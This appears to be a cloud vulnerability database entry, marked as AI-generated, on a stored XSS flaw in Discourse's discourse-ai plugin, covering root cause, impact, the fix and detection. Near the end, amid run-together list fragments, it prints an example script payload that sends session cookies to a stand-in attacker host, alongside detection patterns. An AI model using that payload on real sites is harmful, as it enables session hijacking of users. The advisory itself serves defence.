
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-32243 is a stored Cross-Site Scripting (XSS) vulnerability in Discourse, an open-source discussion platform, affecting the discourse-ai plugin's shared AI conversation onebox feature. An attacker with the ability to create shared AI conversations can inject arbitrary HTML and JavaScript via crafted conversation titles, which then execute in the browsers of other users viewing the onebox preview. Affected versions include 2026.1.0 through 2026.1.2, 2026.2.0 through 2026.2.1, and 2026.3.0 (pre-patch). The vulnerability was published on March 31, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Feedly).
The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically in the onebox rendering logic for shared AI conversation titles within the discourse-ai plugin. When a user creates a shared AI conversation, the conversation title is stored without adequate HTML escaping and later rendered unsanitized in the onebox preview component. The fix, committed as cac7d618a562ce934f8dbf73cdb70066a4806b4c, adds HTML escaping via ERB::Util.html_escape to the title field before rendering, confirming that the title was previously passed directly into the onebox HTML output (GitHub Commit, GitHub Advisory). Exploitation requires a low-privileged account with permission to create shared AI conversations, and victim interaction (viewing the onebox preview) is necessary to trigger payload execution.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any Discourse user who views the malicious onebox preview. The primary risks include session hijacking (theft of authentication tokens or session cookies) and unauthorized actions performed on behalf of the victim, such as posting content, changing account settings, or accessing private data visible to the victim's account. Confidentiality and integrity are both partially impacted, while availability is unaffected (GitHub Advisory, Feedly).
No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is approximately 0.047%, reflecting a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent HTML/JS injection string.<script>, javascript:, onerror=, onload=, or other HTML event handler patterns.shared_ai_conversations table for anomalous title values.Discourse has released patched versions addressing this vulnerability: 2026.1.3, 2026.2.2, and 2026.3.0. Administrators should upgrade their Discourse installations to the appropriate patched version immediately. As an interim workaround, restrict the ability to create shared AI conversations to trusted users only, reducing the attack surface until patching is feasible. Additionally, monitor for suspicious conversation titles containing script tags or JavaScript event handlers (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."